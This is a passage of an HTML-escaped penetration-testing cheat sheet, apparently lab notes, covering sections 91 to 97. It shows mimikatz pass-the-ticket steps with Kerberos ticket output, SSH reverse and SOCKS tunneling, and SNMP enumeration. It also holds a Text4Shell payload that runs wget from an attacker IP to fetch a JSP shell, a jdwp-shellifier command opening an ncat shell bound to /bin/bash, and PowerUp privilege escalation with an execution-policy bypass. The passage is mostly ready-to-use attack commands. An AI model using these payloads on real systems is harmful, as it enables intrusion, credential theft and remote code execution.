[...]&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; * Saved to file [0;1f1626]-2-0-40c10000-dave@krbtgt-CORP.COM.kirbi !&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;...&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;PS C:\Tools&amp;gt; dir *.kirbi&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; Directory: C:\Tools&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Mode LastWriteTime Length Name&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;---- ------------- ------ ----&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;-a---- 9/14/2022 6:24 AM 1561 [0;12bd0]-0-0-40810000-dave@cifs-web04.kirbi&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;-a---- 9/14/2022 6:24 AM 1505 [0;12bd0]-2-0-40c10000-dave@krbtgt-CORP.COM.kirbi&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;-a---- 9/14/2022 6:24 AM 1561 [0;1c6860]-0-0-40810000-dave@cifs-web04.kirbi&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;-a---- 9/14/2022 6:24 AM 1505 [0;1c6860]-2-0-40c10000-dave@krbtgt-CORP.COM.kirbi&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;-a---- 9/14/2022 6:24 AM 1561 [0;1c7bcc]-0-0-40810000-dave@cifs-web04.kirbi&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;-a---- 9/14/2022 6:24 AM 1505 [0;1c7bcc]-2-0-40c10000-dave@krbtgt-CORP.COM.kirbi&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;-a---- 9/14/2022 6:24 AM 1561 [0;1c933d]-0-0-40810000-dave@cifs-web04.kirbi&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;-a---- 9/14/2022 6:24 AM 1505 [0;1c933d]-2-0-40c10000-dave@krbtgt-CORP.COM.kirbi&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;-a---- 9/14/2022 6:24 AM 1561 [0;1ca6c2]-0-0-40810000-dave@cifs-web04.kirbi&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;-a---- 9/14/2022 6:24 AM 1505 [0;1ca6c2]-2-0-40c10000-dave@krbtgt-CORP.COM.kirbi&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;...&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mimikatz # kerberos::ptt [0;12bd0]-0-0-40810000-dave@cifs-web04.kirbi&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;* File: &amp;#39;[0;12bd0]-0-0-40810000-dave@cifs-web04.kirbi&amp;#39;: OK&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;PS C:\Tools&amp;gt; klist&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Current LogonId is 0:0x13bca7&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Cached Tickets: (1)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;#0&amp;gt; Client: dave @ CORP.COM&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; Server: cifs/web04 @ CORP.COM&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; Ticket Flags 0x40810000 -&amp;gt; forwardable renewable name_canonicalize&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; Start Time: 9/14/2022 5:31:32 (local)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; End Time: 9/14/2022 15:31:13 (local)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; Renew Time: 9/21/2022 5:31:13 (local)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; Session Key Type: AES-256-CTS-HMAC-SHA1-96&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; Cache Flags: 0&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; Kdc Called:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;PS C:\Tools&amp;gt; ls \\web04\backup&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; Directory: \\web04\backup&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Mode LastWriteTime Length Name&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;---- ------------- ------ ----&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;-a---- 9/13/2022 2:52 AM 0 backup_schemata.txt&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Export the in-memory ticket and then import it&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h3 id="91ftp-active-mode"&gt;&lt;a href="#91ftp-active-mode" class="header-anchor"&gt;&lt;/a&gt;91.FTP Active Mode&#10;&lt;/h3&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;span class="lnt"&gt;16&#10;&lt;/span&gt;&lt;span class="lnt"&gt;17&#10;&lt;/span&gt;&lt;span class="lnt"&gt;18&#10;&lt;/span&gt;&lt;span class="lnt"&gt;19&#10;&lt;/span&gt;&lt;span class="lnt"&gt;20&#10;&lt;/span&gt;&lt;span class="lnt"&gt;21&#10;&lt;/span&gt;&lt;span class="lnt"&gt;22&#10;&lt;/span&gt;&lt;span class="lnt"&gt;23&#10;&lt;/span&gt;&lt;span class="lnt"&gt;24&#10;&lt;/span&gt;&lt;span class="lnt"&gt;25&#10;&lt;/span&gt;&lt;span class="lnt"&gt;26&#10;&lt;/span&gt;&lt;span class="lnt"&gt;27&#10;&lt;/span&gt;&lt;span class="lnt"&gt;28&#10;&lt;/span&gt;&lt;span class="lnt"&gt;29&#10;&lt;/span&gt;&lt;span class="lnt"&gt;30&#10;&lt;/span&gt;&lt;span class="lnt"&gt;31&#10;&lt;/span&gt;&lt;span class="lnt"&gt;32&#10;&lt;/span&gt;&lt;span class="lnt"&gt;33&#10;&lt;/span&gt;&lt;span class="lnt"&gt;34&#10;&lt;/span&gt;&lt;span class="lnt"&gt;35&#10;&lt;/span&gt;&lt;span class="lnt"&gt;36&#10;&lt;/span&gt;&lt;span class="lnt"&gt;37&#10;&lt;/span&gt;&lt;span class="lnt"&gt;38&#10;&lt;/span&gt;&lt;span class="lnt"&gt;39&#10;&lt;/span&gt;&lt;span class="lnt"&gt;40&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Switch to active mode with:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;quote pasv&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Or force active mode with -A before connecting:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ftp -A 192.168.172.145&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Disable passive mode with the passive command:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ftp&amp;gt; passive&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Passive mode: off&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;If that still fails, set an environment variable before connecting:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Copyexport FTP_PASSIVE=0&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ftp 192.168.172.145&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Use another FTP client such as lftp, which offers clearer active/passive mode controls:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;lftp -u anonymous 192.168.172.145&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;lftp&amp;gt; set ftp:passive-mode off&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Use ls -la or ls -l to view a detailed listing:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ftp&amp;gt; ls -la&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Try switching to binary mode before listing the directory:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ftp&amp;gt; binary&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ftp&amp;gt; dir&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Use quote LIST to send the raw FTP command directly:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ftp&amp;gt; quote LIST&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Try using mls to save the directory listing to a local file:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ftp&amp;gt; mls - listing.txt&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Try accessing common default directories on Windows FTP servers:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ftp&amp;gt; cd pub&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Or&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ftp&amp;gt; cd upload&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;If the exact filename is known, try retrieving it directly:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ftp&amp;gt; get filename.txt&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;You can also try switching to the parent directory:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ftp&amp;gt; cdup&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h3 id="92ssh-tunneling"&gt;&lt;a href="#92ssh-tunneling" class="header-anchor"&gt;&lt;/a&gt;92.SSH Tunneling&#10;&lt;/h3&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;span class="lnt"&gt;7&#10;&lt;/span&gt;&lt;span class="lnt"&gt;8&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ssh -R 443:192.168.45.184:443 -R 80:192.168.45.184:80 web_svc@192.168.139.147&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# -L forwards a target-machine port locally; -R forwards a local port to a port opened on the target machine&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ssh -L 443:192.168.45.184:443 -L 80:192.168.45.184:80 web_svc@192.168.139.147&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Build a tunnel to carry traffic&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ssh -D 1080 -N Administrator@192.168.125.153&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Use proxychains on local port 1080&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h3 id="93snmpwalk"&gt;&lt;a href="#93snmpwalk" class="header-anchor"&gt;&lt;/a&gt;93.snmpwalk&#10;&lt;/h3&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;span class="lnt"&gt;16&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;snmpwalk -v1 -c public IP&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;snmpwalk -v2c -c public 192.168.139.149 NET-SNMP-EXTEND-MIB::nsExtendObjects&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;snmpwalk -v 2c -c public 192.168.139.149 NET-SNMP-EXTEND-MIB::nsExtendOutputFull&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# The command above queries command names, for example&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# RESET is the command&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;NET-SNMP-EXTEND-MIB::nsExtendCommand.&amp;#34;RESET&amp;#34; = STRING: ./home/john/RESET_PASSWD&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;snmpwalk -v1 -c public IP NET-SNMP-EXTEND-MIB::nsExtendOutputFull.\&amp;#34;COMMAND_NAME\&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Common extended-MIB queries&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;snmpwalk -v1 -c public IP NET-SNMP-EXTEND-MIB::nsExtendObjects&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;snmpwalk -v1 -c public IP NET-SNMP-EXTEND-MIB::nsExtendConfigTable&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;snmpwalk -v1 -c public IP NET-SNMP-EXTEND-MIB::nsExtendOutput1Table&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;snmpwalk -v1 -c public IP NET-SNMP-EXTEND-MIB::nsExtendOutput2Table&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h3 id="94cve-202242889-text4shell"&gt;&lt;a href="#94cve-202242889-text4shell" class="header-anchor"&gt;&lt;/a&gt;94.CVE-2022–42889 (Text4Shell)&#10;&lt;/h3&gt;&lt;p&gt;&lt;a class="link" href="https://meyerweb.com/eric/tools/dencoder/" target="_blank" rel="noopener"&#10; &gt;https://meyerweb.com/eric/tools/dencoder/&lt;/a&gt;&#9;&#9;# URL encoding website&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;${script:javascript:java.lang.Runtime.getRuntime().exec(&amp;#39;command&amp;#39;)}&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;%24%7Bscript%3Ajavascript%3Ajava.lang.Runtime.getRuntime().exec(%27wget%20192.168.45.184%2Fcmdjsp.jsp%20-O%20%2Ftmp%2Fshell%27)%7D&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h3 id="95java-debug-wire-protocol-jdwp---remote-code-execution"&gt;&lt;a href="#95java-debug-wire-protocol-jdwp---remote-code-execution" class="header-anchor"&gt;&lt;/a&gt;95.Java Debug Wire Protocol (JDWP) - Remote Code Execution&#10;&lt;/h3&gt;&lt;p&gt;&lt;a class="link" href="https://www.exploit-db.com/exploits/46501" target="_blank" rel="noopener"&#10; &gt;https://www.exploit-db.com/exploits/46501&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://github.com/IOActive/jdwp-shellifier/" target="_blank" rel="noopener"&#10; &gt;https://github.com/IOActive/jdwp-shellifier/&lt;/a&gt;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$ python ./jdwp-shellifier.py -t my.target.ip -p 1234 --cmd &amp;#34;ncat -v -l -p 1234 -e /bin/bash&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Most importantly, trigger the accept() event. If Java listens on a port, connect to it actively with nc.&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;This is integrated into the CMD exploit, but the port still requires attention.&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h3 id="96windows-local-privilege-escalation-use-this-for-a-more-thorough-check"&gt;&lt;a href="#96windows-local-privilege-escalation-use-this-for-a-more-thorough-check" class="header-anchor"&gt;&lt;/a&gt;96.Windows Local Privilege Escalation (Use This for a More Thorough Check)&#10;&lt;/h3&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;span class="lnt"&gt;16&#10;&lt;/span&gt;&lt;span class="lnt"&gt;17&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Download PowerUp&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;wget https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Privesc/PowerUp.ps1&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# On the target machine&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;powershell -ep bypass&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;. .\PowerUp.ps1&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Get-ModifiableServiceFile&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Or perform a comprehensive check&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Invoke-AllChecks&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Invoke-AllChecks checks all potential service privilege-escalation vectors, including:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Modifiable service executables&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Unquoted service paths&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Misconfigured service permissions, and more&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;This avoids manually searching for escalation vectors such as modifiable service executables&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h3 id="97chisel"&gt;&lt;a href="#97chisel" class="header-anchor"&gt;&lt;/a&gt;97.chisel&#10;&lt;/h3&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span 